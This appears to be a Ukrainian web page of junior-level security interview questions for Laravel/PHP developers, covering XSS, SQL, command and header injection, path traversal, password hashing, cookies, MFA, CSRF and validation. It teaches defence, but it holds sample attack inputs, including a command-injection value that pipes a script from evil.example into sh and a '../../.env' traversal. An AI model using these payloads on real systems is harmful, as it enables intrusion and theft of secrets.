Увійти Реєстрація
Блог Серії
Кар'єра
Вакансії Компанії
Навчання
Документація Співбесіди Тестування Відео
Екосистема
Пакети Ресурси Проєкти Інструменти Події
Інше
Про нас Реклама

Безпека: питання на співбесіді рівня Junior

Питання з реальних співбесід з відповідями: Laravel і PHP, бази даних, JavaScript і фронтенд, Git, Docker, API, безпека й архітектура. Тими самими темами, що й тести.

35 питань

XSS (Cross-Site Scripting) - вразливість, за якої нападник змушує сайт показати іншим користувачам свій JavaScript. Скрипт виконується в браузері жертви з правами вашого сайту: читає дані сторінки, робить запити від імені користувача, підміняє форми, краде токени з localStorage.

Три види:

  • Збережений (stored) - шкідливий код зберігається на сервері: коментар, ім'я профілю, опис товару. Спрацьовує в кожного, хто відкриє сторінку. Найнебезпечніший.
  • Відображений (reflected) - код приходить у параметрі запиту й одразу виводиться у відповіді: /search?q=<script>...</script>. Жертву треба змусити перейти за посиланням.
  • DOM-based - вразливість повністю в клієнтському JavaScript: скрипт бере дані з location.hash чи URL і вставляє через innerHTML, сервер навіть не бачить шкідливого вмісту.

Основний захист - екранування при виведенні відповідно до контексту:

{{ $comment->body }}      {{-- Blade екранує HTML автоматично --}}
{!! $comment->body !!}    {{-- небезпечно для даних користувача --}}

Додаткові рівні:

  • textContent замість innerHTML у JavaScript;
  • санітайзер (HTML Purifier, DOMPurify), якщо HTML від користувача справді потрібен;
  • Content Security Policy, що забороняє інлайнові скрипти;
  • cookie сесії з HttpOnly - XSS не зможе її прочитати (хоча робити запити від імені користувача все одно зможе).

Контексти мають значення: екранування для HTML не захищає значення в атрибуті href (javascript:alert(1)), усередині <script> чи CSS. Для кожного контексту - свої правила.

Докладніше в документації: OWASP: Cross Site Scripting

SQL-ін'єкція - коли дані від користувача потрапляють у текст SQL-запиту й змінюють його структуру.

// Вразливо
$sql = "SELECT * FROM users WHERE email = '" . $_GET['email'] . "'";
// email = ' OR '1'='1  →  WHERE email = '' OR '1'='1'  → усі користувачі

Наслідки - від читання чужих даних і обходу входу до видалення таблиць і, в окремих конфігураціях, виконання команд на сервері.

Захист - підготовлені запити (prepared statements): структура запиту й дані передаються в базу окремо. База спершу розбирає SQL із заповнювачами, а значення підставляє вже як дані - вони не можуть стати частиною синтаксису.

$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ?');
$stmt->execute([$email]);

User::where('email', $email)->first();   // Eloquent і Query Builder роблять те саме

Де помиляються навіть з ORM:

  • Сирі вирази з конкатенацією: whereRaw("email = '$email'"), DB::select("... $id"). Сирий SQL - лише з прив'язками: whereRaw('lower(email) = ?', [$email]).
  • Імена колонок і напрямок сортування не можна передати заповнювачем. orderBy($request->input('sort')) - звіряти з білим списком дозволених значень.
  • LIKE - заповнювач захищає від ін'єкції, але % і _ у введенні все одно працюють як шаблони; їх треба екранувати, якщо це важливо.

Додатково: користувач бази для застосунку з мінімальними правами (без DROP, без доступу до чужих баз) - щоб навіть успішна ін'єкція мала обмежені наслідки.

Докладніше в документації: OWASP: запобігання SQL-ін'єкціям

Ін'єкція команд - дані від користувача потрапляють у рядок, який виконує командна оболонка (shell). Оболонка інтерпретує спецсимволи (;, &&, |, `, $()), і зловмисник дописує власну команду.

// вразливо
$file = $request->input('file');
exec("convert uploads/{$file} -resize 200x200 thumbs/{$file}");
// file = "a.jpg; curl https://evil.example/s.sh | sh"

Наслідок - виконання довільних команд з правами вебсервера: читання .env, встановлення бекдору, доступ до бази.

Захист - у порядку пріоритету:

1. Не викликати shell, якщо є бібліотека. Замість convert - Intervention Image/Imagick, замість curl - HTTP-клієнт, замість zip - ZipArchive.

2. Передавати команду масивом аргументів - тоді оболонка не залучається взагалі, і спецсимволи не мають значення:

use Illuminate\Support\Facades\Process;

Process::run(['convert', "uploads/{$file}", '-resize', '200x200', "thumbs/{$file}"]);

Symfony Process і Laravel Process з масивом передають аргументи програмі напряму. Рядок (Process::run("convert ...")) знову йде через shell.

3. Якщо рядок неминучий - кожен аргумент через escapeshellarg():

exec('convert ' . escapeshellarg($path) . ' ...');

4. Білий список значень для всього, що можна обмежити (формат, розмір, назва операції), і перевірка, що шлях лежить у дозволеному каталозі.

Пастка - ін'єкція аргументів. Навіть без shell значення, що починається з -, програма сприйме як опцію: файл з назвою --output=/var/www/public/shell.php чи -o.... Захист - роздільник -- перед позиційними аргументами (якщо програма його підтримує) і перевірка формату значень.

Додатково:

  • функції exec, system, passthru, shell_exec і proc_open можна вимкнути в disable_functions, якщо застосунку вони не потрібні;
  • процес вебсервера - з мінімальними правами в системі;
  • назви завантажених файлів не використовувати в командах і шляхах - генерувати власні.

Докладніше в документації: OWASP: захист від ін'єкції команд ОС

Обхід шляху - назва файлу від користувача містить ../ і виводить за межі дозволеного каталогу:

// вразливо
Route::get('/download', function (Request $request) {
    return response()->download(storage_path('app/invoices/' . $request->query('file')));
});
// file=../../.env  →  storage/app/invoices/../../.env  →  .env застосунку

Так читають .env (ключі, паролі бази), конфігурацію, вихідний код, системні файли. У поєднанні із записом файлів (розпакування архівів, збереження за назвою від користувача) - перезапис коду й виконання команд.

Варіанти атаки, які наївна перевірка пропускає:

  • закодовані послідовності: %2e%2e%2f, подвійне кодування %252e;
  • зворотні слеші на Windows: ..\..\;
  • абсолютні шляхи: /etc/passwd;
  • Zip Slip: архів з файлом ../../public/shell.php - під час розпакування він опиниться поза цільовим каталогом.

Захист:

1. Не приймати шлях від користувача взагалі. Найкраще - ідентифікатор запису в базі, а шлях до файлу береться з бази:

Route::get('/invoices/{invoice}/download', function (Invoice $invoice) {
    Gate::authorize('view', $invoice);
    return Storage::disk('invoices')->download($invoice->path);
});

Заодно це вирішує й авторизацію: користувач отримує лише свій файл.

2. Якщо назва з запиту неминуча - лише ім'я файлу без каталогів і білий список символів:

$name = basename($request->query('file'));
abort_unless(preg_match('/^[a-z0-9_-]+\.pdf$/i', $name), 404);

3. Перевірка канонічного шляху:

$base = realpath(storage_path('app/invoices'));
$path = realpath($base . DIRECTORY_SEPARATOR . $name);
abort_unless($path !== false && str_starts_with($path, $base . DIRECTORY_SEPARATOR), 404);

4. Розпакування архівів - перевіряти кожен шлях усередині до запису.

Laravel Storage нормалізує шляхи й не дає вийти за корінь диска через ../ (Flysystem кидає виняток для шляхів за межами кореня). Але це не замінює перевірку прав: файл іншого користувача всередині того самого диска - вже не path traversal, а помилка авторизації.

Докладніше в документації: OWASP: Path Traversal

У HTTP і в заголовках листів рядки розділяються символами CR LF (\r\n). Якщо дані користувача потрапляють у заголовок без перевірки, зловмисник вставляє \r\n і додає власні заголовки або навіть тіло відповіді.

У відповідях HTTP:

// вразливо при «сирому» формуванні заголовків
header('Location: /profile?lang=' . $_GET['lang']);
// lang = "uk\r\nSet-Cookie: session=attacker"

Наслідки - встановлення cookie жертві (фіксація сесії), підробка заголовків, у крайньому разі «розщеплення відповіді» (response splitting) з власним HTML.

Сучасний PHP уже захищає функцію header(): вона відхиляє значення з переносом рядка і видає попередження. Symfony/Laravel Response теж не дозволяє переносів у заголовках. Тому в сучасних застосунках проблема виникає рідше, але трапляється:

  • у власних обгортках над сокетами, проксі, генерації сирих відповідей;
  • у логах: перенос рядка у введенні дозволяє дописати фальшивий рядок журналу (log injection) - заплутати розслідування інциденту.

У листах - класична ін'єкція заголовків пошти: форма зворотного зв'язку бере email відправника в заголовок:

email = "user@example.com\r\nBcc: spam1@example.com, spam2@example.com"

Сервер стає розсильником спаму від вашого домену - а домен потрапляє в чорні списки.

Захист:

  • валідувати значення, що йдуть у заголовки: email - правилом email, мова - білим списком;
  • використовувати бібліотеки, що формують заголовки самі: Laravel Mail (Symfony Mailer) кодує й перевіряє адреси й теми, не дозволяючи переносів;
  • відправник листа - ваша адреса, а email користувача - у Reply-To після валідації, а не в From;
  • логи у структурованому форматі (JSON) - переноси рядків екрануються автоматично;
  • ніколи не будувати заголовки конкатенацією з сирих даних - навіть у «внутрішніх» скриптах.

Загальний принцип ін'єкцій: щоразу, коли дані вставляються в текст, який інша система розбирає (SQL, shell, HTML, заголовки, логи), потрібне кодування під цей конкретний формат або API, що розділяє код і дані.

Докладніше в документації: OWASP: CRLF Injection

Паролі ніколи не зберігають у відкритому вигляді чи зашифрованими - лише як хеш спеціальної повільної функції з сіллю.

Чому не шифрування: зашифроване можна розшифрувати. Хто отримав ключ разом з базою, отримав усі паролі. Хеш - односторонній: навіть сервер не знає пароля, лише вміє перевірити.

Чому не md5/sha256: вони створені швидкими. Сучасна відеокарта перебирає мільярди хешів SHA-256 за секунду, тож витеклу базу з простими паролями підбирають за години.

Правильні функції - навмисно повільні й налаштовувані:

  • Argon2id - рекомендований вибір;
  • bcrypt - перевірений, широко підтримуваний (обмеження: використовує лише перші 72 байти пароля).
$hash = password_hash($password, PASSWORD_ARGON2ID);   // або PASSWORD_DEFAULT (bcrypt)

if (password_verify($input, $hash)) {
    // вхід
}

Hash::make($password);      // Laravel: bcrypt за замовчуванням, налаштовується
Hash::check($input, $hash);

Сіль - випадкове значення, унікальне для кожного пароля. Вона робить однакові паролі різними хешами й унеможливлює готові таблиці (rainbow tables). password_hash генерує сіль сам і зберігає її в рядку хешу - окрема колонка не потрібна.

Ще правила:

  • Перехешування при вході (password_needs_rehash, у Laravel - автоматично), коли збільшується вартість чи змінюється алгоритм.
  • Ліміт спроб входу, щоб онлайн-перебір був непрактичним.
  • Перевірка на злиті паролі (Have I Been Pwned, правило Password::uncompromised() у Laravel) замість вимог «велика літера + цифра + символ».

Докладніше в документації: OWASP: зберігання паролів

Cookie сесії - фактично ключ до облікового запису. Атрибути визначають, хто й коли може його отримати:

  • HttpOnly - cookie недоступна з JavaScript (document.cookie). XSS не зможе її вкрасти. Для cookie сесії - обов'язково.
  • Secure - cookie передається лише по HTTPS. Без нього її можна перехопити в незашифрованому з'єднанні.
  • SameSite - чи надсилати cookie в запитах з інших сайтів:
    • Lax (Chromium застосовує його до cookie без атрибута, але покладатися на це не варто - ставте явно) - так при звичайних переходах за посиланням, ні - у міжсайтових POST, fetch, iframe. Добрий захист від CSRF.
    • Strict - ніколи в міжсайтових запитах. Безпечніше, але користувач, що перейшов за посиланням з пошти, опиниться незалогіненим.
    • None - завжди (лише разом із Secure). Потрібно для вбудованих віджетів і SSO між різними доменами.
  • Domain - без нього cookie належить лише точному хосту. Domain=example.com відкриває її всім піддоменам, зокрема менш захищеним.
  • Path, Max-Age / Expires - область і термін дії.
Set-Cookie: session=abc123; Path=/; HttpOnly; Secure; SameSite=Lax

Префікси назв - додатковий захист, який перевіряє сам браузер:

  • __Host-session - лише з Secure, без Domain, з Path=/: cookie не може встановити чи перезаписати піддомен.
  • __Secure- - лише з Secure.

У Laravel це налаштовується в config/session.php: secure (SESSION_SECURE_COOKIE=true на проді), http_only, same_site, domain. Cookie застосунку ще й шифруються, тож їхній вміст не прочитати й не підробити без APP_KEY.

Докладніше в документації: HTTP cookies

Багатофакторна автентифікація (MFA) - вхід вимагає доказів з різних категорій:

  • те, що ви знаєте - пароль, PIN;
  • те, що ви маєте - телефон із застосунком, апаратний ключ;
  • те, чим ви є - відбиток пальця, обличчя (зазвичай як розблокування пристрою).

Два паролі - не два фактори: обидва з однієї категорії й крадуться однаково.

Навіщо: паролі масово витікають і повторно використовуються. З другим фактором викрадений пароль сам по собі не дає доступу. За даними великих провайдерів, MFA зупиняє переважну більшість автоматизованих атак на облікові записи.

Види другого фактора - від слабшого до сильнішого:

  • SMS-коди - краще, ніж нічого, але вразливі: перевипуск SIM-картки (SIM swap) через оператора, перехоплення, фішинг коду;
  • email-коди - залежать від безпеки пошти;
  • TOTP (Google Authenticator, 1Password, Authy) - код з 6 цифр, що змінюється кожні 30 секунд. Обчислюється на пристрої з спільного секрету й поточного часу (RFC 6238) - не передається мережею, не залежить від оператора;
  • push-підтвердження - зручно, але вразливе до «втоми від сповіщень» (зловмисник надсилає десятки запитів, поки користувач не натисне «Так»). Захист - введення числа з екрана входу;
  • апаратні ключі й passkeys (WebAuthn) - стійкі до фішингу, бо прив'язані до домену сайту.

Чому TOTP кращий за SMS: код генерується локально, його не можна отримати через оператора; працює без мережі. Але TOTP не захищає від фішингу: фальшивий сайт попросить і пароль, і поточний код, і миттєво використає їх.

Обов'язкові частини реалізації:

  • резервні коди на випадок втрати телефону - одноразові, зберігаються хешованими;
  • захищене відновлення доступу - найслабше місце MFA: якщо «втратив телефон» вирішується одним листом, атакують саме його;
  • обмеження спроб введення коду (6 цифр - лише мільйон варіантів);
  • код діє один раз у своєму вікні часу;
  • повторне підтвердження перед вимкненням MFA чи зміною пошти.

У Laravel двофакторна автентифікація з TOTP і резервними кодами є в Laravel Fortify і стартових наборах.

Докладніше в документації: OWASP: багатофакторна автентифікація

Дві різні атаки на вхід:

  • перебір (brute force) - багато паролів для одного облікового запису;
  • credential stuffing - пари «email + пароль» з витоків інших сайтів перевіряються на вашому. Працює, бо люди повторюють паролі. Спроб на один обліковий запис мало - тож простий ліміт на обліковий запис цю атаку не бачить.

Захист - кілька шарів:

1. Обмеження частоти - за комбінацією облікового запису й IP і окремо за IP:

RateLimiter::for('login', fn (Request $request) => [
    Limit::perMinute(5)->by(Str::lower($request->input('email')).'|'.$request->ip()),
    Limit::perMinute(30)->by($request->ip()),
]);

Laravel Fortify і стартові набори вже обмежують спроби входу.

2. Багатофакторна автентифікація - найефективніший захист від обох атак: правильний пароль без другого фактора нічого не дає.

3. Заборона скомпрометованих паролів при реєстрації й зміні пароля:

'password' => ['required', 'confirmed', Password::min(12)->uncompromised()],

uncompromised() перевіряє пароль у базі витоків Have I Been Pwned методом k-анонімності: на сервіс надсилаються лише перші 5 символів SHA-1-хешу, а не сам пароль.

4. Виявлення аномалій: вхід з нової країни чи пристрою - сповіщення користувачу, додаткова перевірка.

5. CAPTCHA чи невидимі перевірки (Cloudflare Turnstile) - після кількох невдач чи при підозрілому трафіку, а не завжди.

6. Захист на рівні мережі: WAF, ліміти на CDN, блокування відомих ботнетів.

Чого уникати:

  • постійне блокування облікового запису після N невдач - зловмисник легко заблокує будь-кого (DoS для користувачів). Краще тимчасові затримки й CAPTCHA;
  • різні повідомлення «невірний пароль» і «користувача не знайдено» - це перелік зареєстрованих email;
  • ліміт лише за IP - атакують через тисячі адрес;
  • ліміт лише за обліковим записом - credential stuffing його не досягає.

Моніторинг: різке зростання невдалих входів з різних IP на різні облікові записи - ознака credential stuffing, потрібна реакція (посилені перевірки, повідомлення користувачам).

Докладніше в документації: OWASP: запобігання credential stuffing

Перелік облікових записів - можливість дізнатися, чи зареєстрована певна адреса email (чи логін) у системі. Сама по собі це не злам, але:

  • полегшує атаки: зловмисник перебирає паролі лише для існуючих облікових записів, а фішинг цілить у справжніх клієнтів;
  • розкриває приватну інформацію: сам факт облікового запису на медичному, юридичному чи дейтинговому сервісі - чутливі дані.

Де це протікає:

1. Повідомлення входу:

«Користувача з таким email не знайдено»    ← протікає
«Невірний пароль»                          ← протікає
«Невірний email або пароль»                ← правильно

2. Скидання пароля:

«Лист надіслано» / «Такого email немає»                       ← протікає
«Якщо обліковий запис існує, ми надіслали інструкції на email»  ← правильно

3. Реєстрація: «Email уже зайнятий» - складніше уникнути, бо користувачу треба знати, що він уже зареєстрований. Варіант - завжди відповідати «Перевірте пошту», а існуючому користувачу надіслати лист «Ви вже маєте обліковий запис, ось посилання на вхід».

4. Час відповіді. Навіть з однаковими повідомленнями: якщо для неіснуючого користувача сервер відповідає за 5 мс, а для існуючого - 300 мс (бо перевіряє хеш bcrypt), час видає правду. Захист - виконувати перевірку хешу завжди (з фіктивним хешем, якщо користувача немає) і відправляти листи асинхронно з черги, щоб час відповіді на скидання пароля не залежав від того, чи надсилається лист.

5. API й публічні профілі: GET /api/users/check-email?email=... для «живої» перевірки в формі, профілі за передбачуваними URL.

Компроміс зручності й безпеки. Повністю прибрати перелік часто неможливо без погіршення UX (реєстрація, вхід через телефон). Тоді важливо обмежити частоту запитів, що його дозволяють, - щоб перевірка тисяч адрес займала роки.

У Laravel: стандартний ValidationException з auth.failed дає загальне повідомлення, а Password::sendResetLink повертає статус, який варто показувати однаково для всіх випадків. Fortify за замовчуванням дотримується цих правил, але власні контролери варто перевірити.

Докладніше в документації: OWASP: шпаргалка з автентифікації

{{ $value }} - виводить значення з екрануванням HTML (через htmlspecialchars). Символи <, >, ", ', & стають сутностями, і рядок <script> показується як текст.

<p>{{ $comment->body }}</p>   {{-- безпечно --}}

{!! $value !!} - виводить як є, без екранування:

<div>{!! $comment->body !!}</div>   {{-- XSS, якщо body від користувача --}}

Доречно лише для HTML, який згенеровано вашим кодом чи пройшов санітизацію (наприклад, Markdown, перетворений у HTML з білим списком тегів).

Де екранування {{ }} не допомагає:

1. Атрибути з URL:

<a href="{{ $user->website }}">Сайт</a>

Значення екрановане, але javascript:alert(1) - валідний URL без жодного спецсимволу HTML. Посилання з даних користувача треба перевіряти на схему (http/https).

2. Всередині <script>:

<script>
    const name = '{{ $user->name }}';   {{-- ламається на лапках і переносах рядків --}}
</script>

Екранування для HTML не те саме, що для JavaScript. Для передачі даних у скрипт - Js::from() чи @js:

<script>
    const user = {{ Js::from($user->only('id', 'name')) }};
</script>

<div x-data="{ settings: @js($settings) }">

Js::from кодує значення в JSON з екрануванням, безпечним для вставки в HTML.

3. Атрибути подій і стилі: onclick="{{ ... }}", style="{{ ... }}" - контексти JavaScript і CSS. Дані користувача туди не вставляти.

4. Компоненти, що самі вставляють HTML: {!! $slot !!} у власних компонентах, ->toHtml(), HtmlString - обходять екранування.

Подвійне кодування: {{ }} за замовчуванням не кодує вже закодовані сутності двічі (&amp; лишиться &amp;); Blade::withoutDoubleEncoding() керує цим.

Правило для рев'ю коду: кожен {!! !!} має бути обґрунтований - звідки береться HTML і хто гарантує, що він безпечний.

Докладніше в документації: Laravel: виведення даних у Blade

Масове призначення - заповнення моделі масивом: User::create($data), $user->update($data), $user->fill($data). Якщо масив прийшов із запиту без фільтрації, користувач може змінити поля, яких у формі немає:

$user->update($request->all());
// POST name=Оля&is_admin=1   →   користувач став адміністратором

$fillable - білий список полів, які можна призначати масово:

class User extends Authenticatable
{
    protected $fillable = ['name', 'email', 'password'];
}

Поля поза списком при масовому призначенні мовчки ігноруються.

$guarded - чорний список: усе, крім указаних. protected $guarded = []; вимикає захист повністю.

Чому $fillable безпечніший: нова колонка в таблиці (is_admin, balance, email_verified_at) за $guarded автоматично стає доступною для масового призначення, а за $fillable - ні, доки її свідомо не додадуть.

Сучасний варіант - атрибути класу:

#[Fillable(['name', 'email', 'password'])]
class User extends Authenticatable {}

Головний захист - не $fillable, а валідація:

$user->update($request->validated());

validated() повертає лише поля, для яких є правила. $fillable - друга лінія оборони на випадок, коли хтось передасть $request->all().

Поля, які змінюються лише за правами (роль, статус модерації, баланс), не повинні бути у $fillable взагалі - їх змінює окремий код з перевіркою прав:

$user->forceFill(['role' => 'editor'])->save();   // явно, у коді адміністратора

Корисна перевірка в розробці:

Model::preventSilentlyDiscardingAttributes(! app()->isProduction());

Тепер спроба масово призначити поле поза $fillable кидає виняток замість мовчазного ігнорування - помилки в коді помітні одразу, а не в продакшені.

Model::unguard() вимикає захист глобально - допустимо в сидерах, але не в коді, що обробляє запити.

Докладніше в документації: Laravel: масове призначення

У режимі налагодження Laravel на будь-яку помилку показує детальну сторінку: повідомлення винятку, стек викликів з файлами й рядками, фрагменти коду, параметри запиту. Для API - те саме в JSON (exception, file, line, trace).

Що з цього отримує зловмисник:

  • шляхи на сервері й структуру коду - де лежить застосунок, які пакети й версії;
  • фрагменти коду навколо помилки - логіку, назви таблиць, іноді секрети в коді;
  • SQL-запити з помилок бази - структуру таблиць і колонок;
  • значення змінних у стеку - залежно від помилки, це можуть бути дані користувачів чи облікові дані.

Помилку викликати легко: некоректний параметр, зайвий символ в URL, неочікуваний тип у JSON. Сканери в інтернеті цілеспрямовано шукають сторінки налагодження Laravel.

Історичний приклад важкості: у старих версіях Ignition (сторінки помилок Laravel) була вразливість, що в режимі налагодження давала виконання коду на сервері (CVE-2021-3129). Режим налагодження на продакшені перетворив її з «теоретичної» на масово експлуатовану.

Правила:

  • APP_DEBUG=false і APP_ENV=production на продакшені - завжди;
  • перевірка при деплої: скрипт розгортання чи health-check, що зупиняється, якщо APP_DEBUG увімкнено в продакшені;
  • php artisan about показує поточний режим;
  • інструменти розробки (Telescope, Debugbar, Horizon, Pulse, Log Viewer) на продакшені - вимкнені або закриті авторизацією (Gate::define('viewTelescope', ...)). Debugbar на продакшені розкриває SQL-запити, сесії й заголовки кожного запиту;
  • сторінки помилок - власні, без деталей (resources/views/errors/500.blade.php), а деталі - в логах і системі моніторингу (Sentry, Flare).

Для налагодження продакшену - логи й моніторинг помилок з контекстом запиту, а не тимчасове ввімкнення APP_DEBUG («на хвилинку» - досить, щоб сканер його помітив).

Пов'язані витоки з тієї ж категорії: доступні через вебсервер .env, .git, storage/logs, phpinfo(). Корінь вебсервера має вказувати на public/, а не на корінь проєкту.

Докладніше в документації: Laravel: режим налагодження

CSRF - сторонній сайт змушує браузер жертви надіслати запит на ваш сайт; браузер додає cookie сесії, і запит виконується від імені користувача.

Як Laravel захищає: middleware групи web (у Laravel 13 - PreventRequestForgery) перевіряє кожен запит, що змінює стан (POST, PUT, PATCH, DELETE). GET, HEAD, OPTIONS не перевіряються - тому вони й не повинні нічого змінювати.

Два способи довести, що запит зі «свого» сайту:

1. Заголовок Sec-Fetch-Site. Сучасні браузери самі додають його до запитів: same-origin, same-site чи cross-site. Підробити його зі стороннього сайту неможливо. Laravel 13 пропускає запит з Sec-Fetch-Site: same-origin без перевірки токена.

2. CSRF-токен - для браузерів і запитів без цього заголовка:

<form method="POST" action="/profile">
    @csrf
    ...
</form>

@csrf додає приховане поле _token. Для JavaScript - заголовок X-CSRF-TOKEN (з мета-тегу) або X-XSRF-TOKEN (з cookie XSRF-TOKEN; axios надсилає його автоматично). Невідповідність - помилка 419.

Налаштування в bootstrap/app.php:

->withMiddleware(function (Middleware $middleware): void {
    $middleware->preventRequestForgery(
        except: ['webhooks/stripe', 'webhooks/github/*'],
        // originOnly: true      - покладатися лише на Sec-Fetch-Site
        // allowSameSite: true   - дозволити запити з піддоменів того ж сайту
    );
})

Коли виключення доречне - запити, що не автентифікуються cookie-сесією:

  • вебхуки від платіжних систем і сервісів - вони не мають вашого токена, а захищаються підписом запиту, який обов'язково перевіряти;
  • маршрути API з автентифікацією токеном (routes/api.php і так не в групі web).

Коли виключення - помилка:

  • «форма не працює через 419» - майже завжди проблема в тому, що токен не передано чи сесія закінчилася, а не причина вимикати захист;
  • будь-які маршрути, що використовують сесію користувача.

Додатковий шар - SameSite-cookie: сесійна cookie Laravel за замовчуванням SameSite=Lax - браузер не надсилає її у міжсайтових POST-запитах. Це сильно знижує ризик CSRF, але не замінює токен: Lax пропускає навігаційні GET, а старі браузери й піддомени - окремі випадки.

Докладніше в документації: Laravel: захист від CSRF

$request->all() повертає все, що надіслав клієнт: поля форми, параметри запиту, зайві поля, яких у формі немає. Передавати це в модель чи логіку - довіряти клієнту.

$request->validated() (чи результат $request->validate([...])) - лише ті поля, для яких описано правила, і лише після успішної перевірки:

public function update(UpdateProfileRequest $request)
{
    $request->user()->update($request->validated());
}

Зайве поле is_admin=1 у запиті просто не потрапить в update().

$request->safe() - перевірені дані як об'єкт з корисними методами:

$request->safe()->only(['name', 'email']);
$request->safe()->except(['password']);
$request->safe()->merge(['user_id' => $request->user()->id]);

Чому валідація - це безпека, а не лише зручність:

  • типи: integer, string, array, boolean гарантують, що далі код отримає очікуваний тип. JSON може надіслати масив замість рядка чи true замість числа - і код поведеться несподівано (нестрогі порівняння, помилки, обхід перевірок);
  • межі: max для рядків і масивів захищає від мегабайтних полів і масивів на мільйон елементів;
  • білі списки: Rule::in([...]) для статусів, сортування, ролей - значення поза списком не пройдуть;
  • існування й належність: Rule::exists('categories', 'id')->where('team_id', $teamId) - обрана категорія існує й належить команді користувача.

Типові помилки:

  • валідація є, але далі використовується $request->input('field') для поля, якого немає в правилах, - воно не перевірене;
  • $request->only([...]) без валідації - фільтрує поля, але не перевіряє значення;
  • правила sometimes / nullable без required там, де поле обов'язкове для безпеки;
  • валідація лише на фронтенді - запит можна надіслати напряму.

Form Request поєднує валідацію з авторизацією (authorize()) і робить контролер чистим - а validated() у ньому стає звичкою за замовчуванням.

Докладніше в документації: Laravel: робота з перевіреними даними

Питання рівня Junior з реальних технічних співбесід - 35 питань у 7 темах, розібраних із відповідями. Нижче - теми цього рівня та сусідні рівні, якщо хочете звузити або розширити підготовку.

Інші рівні
Middle 37 Senior 31

Готуєтесь до співбесіди не просто так: зараз на сайті 7 відкритих вакансій рівня Junior. Переглянути вакансії